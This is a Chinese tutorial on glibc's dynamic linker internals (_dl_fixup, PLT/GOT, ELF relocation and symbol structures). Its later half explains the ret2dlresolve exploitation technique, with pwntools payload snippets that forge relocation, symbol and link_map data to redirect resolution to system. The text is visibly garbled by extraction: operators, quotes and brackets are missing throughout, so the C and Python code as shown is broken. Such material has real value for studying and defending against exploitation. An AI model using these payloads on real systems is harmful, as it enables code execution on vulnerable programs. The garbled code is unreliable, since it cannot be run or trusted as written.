深入glibc图解_dl_fixup如何解析函数地址以及我们如何‘欺骗’它在Linux系统的动态链接机制中_dl_fixup函数扮演着至关重要的角色。这个隐藏在glibc深处的函数负责在程序运行时解析动态链接库中的函数地址。理解它的工作原理不仅能帮助我们深入掌握Linux的动态链接机制还能为安全研究提供独特的视角。1. 动态链接基础与延迟绑定机制当我们在Linux环境下编译一个使用动态链接库的程序时编译器并不会将所有用到的库函数代码都打包进可执行文件。相反它会在程序运行时通过动态链接器ld.so来加载这些函数。这种设计既节省了磁盘空间也使得库的更新变得更加灵活。延迟绑定Lazy Binding是动态链接中的一项关键技术。它的核心思想是按需解析——只有在函数第一次被调用时才会进行地址解析。这种机制显著提升了程序的启动速度特别是对于那些只加载但很少使用的库函数。让我们通过一个简单的例子来观察这个过程#include unistd.h int main() { write(1, Hello\n, 6); // 第一次调用write函数 write(1, World\n, 6); // 第二次调用write函数 return 0; }当这个程序运行时第一次调用write函数会触发以下步骤程序跳转到PLT表中的write条目PLT表跳转到GOT表中记录的地址由于是第一次调用GOT表中记录的是PLT表中下一条指令的地址程序将重定位偏移量reloc_arg压栈跳转到PLT[0]准备调用_dl_runtime_resolve这个过程可以通过GDB清晰地观察到。在第二次调用write函数时由于地址已经被解析GOT表中直接存储了write函数的真实地址调用过程就简化为直接从PLT跳转到目标函数。2. _dl_fixup函数的核心逻辑解析_dl_fixup是动态链接过程中的核心函数它负责实际的符号解析工作。让我们深入分析这个函数的实现逻辑基于glibc-2.23版本_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) { // 获取各个节区的指针 const ElfW(Sym) *const symtab (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab (const void *) D_PTR (l, l_info[DT_STRTAB]); // 计算重定位表项地址 const PLTREL *const reloc (const void *) (D_PTR (l, l_info[DT_JMPREL]) reloc_offset); // 获取符号表项 const ElfW(Sym) *sym symtab[ELFW(R_SYM) (reloc-r_info)]; // 验证重定位类型 assert (ELFW(R_TYPE)(reloc-r_info) ELF_MACHINE_JMP_SLOT); // 符号查找 void *const rel_addr (void *)(l-l_addr reloc-r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-st_other), 0) 0) { // 正常符号解析流程 result _dl_lookup_symbol_x (strtab sym-st_name, l, sym, l-l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); value DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) sym-st_value) : 0); } else { // 简化版符号解析 value DL_FIXUP_MAKE_VALUE (l, l-l_addr sym-st_value); result l; } // 写入GOT表 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }这个函数的关键数据结构关系可以用下表表示数据结构来源用途ElfW(Rel).rel.plt节区 reloc_arg记录重定位信息和符号表索引ElfW(Sym).dynsym节区 r_info8存储符号信息包括名称偏移const char*.dynstr节区 sym-st_name存储实际的符号名称字符串3. 关键数据结构的内存布局要完全理解_dl_fixup的工作原理我们需要分析几个核心数据结构在内存中的布局。3.1 ELF重定位表项Elf32_Rel/Elf64_Rela重定位表项存储了函数重定位所需的关键信息。32位和64位系统下的结构有所不同32位Elf32_Rel:typedef struct { Elf32_Addr r_offset; // 重定位地址通常是GOT表项 Elf32_Word r_info; // 符号表索引和重定位类型 } Elf32_Rel;64位Elf64_Rela:typedef struct { Elf64_Addr r_offset; // 重定位地址 Elf64_Xword r_info; // 符号表索引和重定位类型 Elf64_Sxword r_addend; // 常数加数 } Elf64_Rela;关键字段说明r_offset通常指向GOT表中对应的条目r_info高24/56位是符号表索引低8位是重定位类型PLT重定位通常是7r_addend仅64位额外的常数偏移3.2 ELF符号表项Elf32_Sym/Elf64_Sym符号表项存储了函数符号的详细信息32位Elf32_Sym:typedef struct { Elf32_Word st_name; // 符号名称在字符串表中的偏移 Elf32_Addr st_value; // 符号值通常是函数偏移 Elf32_Word st_size; // 符号大小 unsigned char st_info;// 类型和绑定属性 unsigned char st_other;// 可见性 Elf32_Section st_shndx;// 节区索引 } Elf32_Sym; // 大小16字节64位Elf64_Sym:typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym; // 大小24字节3.3 link_map结构link_map是动态链接器的核心数据结构它包含了模块加载的所有关键信息struct link_map { ElfW(Addr) l_addr; // 模块加载基址 char *l_name; // 模块名称 ElfW(Dyn) *l_ld; // 动态段指针 struct link_map *l_next, *l_prev; // 链表指针 // ... 其他字段 ... ElfW(Dyn) *l_info[DT_NUM DT_THISPROCNUM DT_VERSIONTAGNUM DT_EXTRANUM]; // 动态信息表 // ... 更多字段 ... };其中l_info数组存储了指向各种动态节区的指针特别是DT_JMPREL指向.rel.plt节区DT_SYMTAB指向.dynsym节区DT_STRTAB指向.dynstr节区4. 逆向视角如何欺骗_dl_fixup理解了_dl_fixup的正常工作流程后我们可以从逆向工程的角度探讨如何欺骗它。这种技术在安全研究中被称为ret2dlresolve攻击其核心思想是通过精心构造的数据控制_dl_fixup的解析过程。4.1 攻击原理概述ret2dlresolve攻击的关键在于控制_dl_fixup函数解析符号时使用的各个数据结构。通过栈溢出或其他内存破坏漏洞攻击者可以控制reloc_arg参数使其指向攻击者控制的内存区域在该区域伪造Elf32_Rel/Elf64_Rela结构通过伪造的r_info控制符号表索引使其指向另一个伪造的Elf32_Sym/Elf64_Sym结构通过伪造的st_name控制字符串表索引使其解析攻击者指定的函数名如将write改为system4.2 32位环境下的攻击步骤在32位环境下ret2dlresolve攻击通常分为以下几个阶段栈迁移将栈转移到攻击者控制的区域如.bss段伪造重定位表项构造假的Elf32_Rel结构伪造符号表项构造假的Elf32_Sym结构伪造字符串表将目标函数名改为攻击者想要的函数如system触发解析调用PLT[0]并传入伪造的reloc_arg下面是一简化的攻击示例from pwn import * context.arch i386 elf ELF(./victim) # 计算各种偏移和地址 plt0 elf.get_section_by_name(.plt).header.sh_addr rel_plt elf.get_section_by_name(.rel.plt).header.sh_addr dynsym elf.get_section_by_name(.dynsym).header.sh_addr dynstr elf.get_section_by_name(.dynstr).header.sh_addr # 伪造重定位表项 fake_reloc p32(elf.got[write]) # r_offset fake_reloc p32((((fake_sym_idx 8) | 0x7)) # r_info # 伪造符号表项 fake_sym p32(fake_name_offset) # st_name fake_sym p32(0) * 3 # 其他字段 # 触发解析 payload flat([ AAAA, # 填充 plt0, # 调用PLT[0] fake_reloc_arg, # 伪造的reloc_arg AAAA, # 返回地址不重要 arg1, arg2, arg3 # system函数的参数 ])4.3 64位环境下的特殊考虑64位环境下的ret2dlresolve攻击更为复杂主要因为参数传递方式从栈变为寄存器符号解析过程中有额外的检查数据结构的大小和对齐要求不同特别是64位环境下_dl_fixup会检查符号的st_other字段如果非零会走不同的解析路径。这导致传统的伪造方法可能失败。解决方案通常是伪造link_map结构控制其中的l_addr和l_info指针利用已解析函数的GOT表项作为伪造的符号表计算好l_addr和st_value的偏移使最终解析结果为system地址一个64位下的简化攻击示例def fake_linkmap_payload(linkmap_addr, known_got, offset): # 构造伪造的link_map结构 payload p64(offset (2**64-1)) # l_addr payload p64(0) # l_name payload p64(linkmap_addr 0x18) # 伪造的.rel.plt payload p64(known_got - 8) # 伪造的symtab payload payload.ljust(0x68, bA) payload p64(linkmap_addr) # DT_STRTAB payload p64(linkmap_addr 0x38) # DT_SYMTAB payload payload.ljust(0xf8, bA) payload p64(linkmap_addr 0x8) # DT_JMPREL return payload5. 防御措施与绕过技术现代Linux系统提供了多种防护机制来对抗ret2dlresolve攻击RELRORelocation Read-OnlyNo RELRO所有重定位段可写Partial RELRO部分重定位段只读Full RELRO所有重定位段在启动后设为只读ASLR地址空间布局随机化随机化库加载基址Stack Canaries检测栈溢出针对这些防护攻击者可能需要结合其他技术对于Partial RELRO可以使用本节描述的完整ret2dlresolve技术对于Full RELRO需要结合信息泄露或其他漏洞对于ASLR可能需要先泄露地址信息下表比较了不同防护级别下的攻击难度防护级别可写段攻击难度常用技术No RELRO所有低直接修改.dynamicPartial RELRO部分中完整ret2dlresolveFull RELRO无启动后设为只读高需结合信息泄露或其他漏洞理解这些防护机制和相应的绕过技术对于安全研究和防御都至关重要。它不仅帮助我们构建更安全的系统也为漏洞挖掘和利用提供了理论基础。